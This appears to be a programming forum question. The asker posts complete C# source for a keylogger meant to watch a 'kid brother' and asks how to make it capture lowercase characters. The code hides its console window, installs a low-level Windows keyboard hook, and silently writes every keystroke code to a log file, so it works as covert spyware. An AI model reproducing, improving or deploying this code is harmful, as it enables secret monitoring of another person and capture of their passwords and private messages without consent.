Capture small letter in background service

Question

I have created a simple keylogger for kid brother.

 

<code>

using System;

using System.Diagnostics;

using System.Windows.Forms;

using System.Runtime.InteropServices;

using System.IO;

class InterceptKeys

{

private const int WH_KEYBOARD_LL = 13;

private const int WM_KEYDOWN = 0x0100;

private static LowLevelKeyboardProc _proc = HookCallback;

private static IntPtr _hookID = IntPtr.Zero;

public static void Main()

{

var handle = GetConsoleWindow();

// Hide

ShowWindow(handle, SW_HIDE);

_hookID = SetHook(_proc);

Application.Run();

UnhookWindowsHookEx(_hookID);

}

private static IntPtr SetHook(LowLevelKeyboardProc proc)

{

using (Process curProcess = Process.GetCurrentProcess())

using (ProcessModule curModule = curProcess.MainModule)

{

return SetWindowsHookEx(WH_KEYBOARD_LL, proc,

GetModuleHandle(curModule.ModuleName), 0);

}

}

private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)

{

if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)

{

string key="";

int vkCode = Marshal.ReadInt32(lParam);

// Console.WriteLine((Keys)vkCode);

StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);

key = ((Keys)vkCode).ToString();

if ((Keys)vkCode == Keys.Return) key = Environment.NewLine;

sw.Write(vkCode+",");

sw.Close();

}

return CallNextHookEx(_hookID, nCode, wParam, lParam);

}

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

[return: MarshalAs(UnmanagedType.Bool)]

private static extern bool UnhookWindowsHookEx(IntPtr hhk);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]

private static extern IntPtr GetModuleHandle(string lpModuleName);

[DllImport("kernel32.dll")]

static extern IntPtr GetConsoleWindow();

[DllImport("user32.dll")]

static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

const int SW_HIDE = 0;

} 

</code> 

 

But this is only capture capital letters only. Is there a way to use WM_KEYPRESS or WM_CHAR instead of WM_KEYDOWN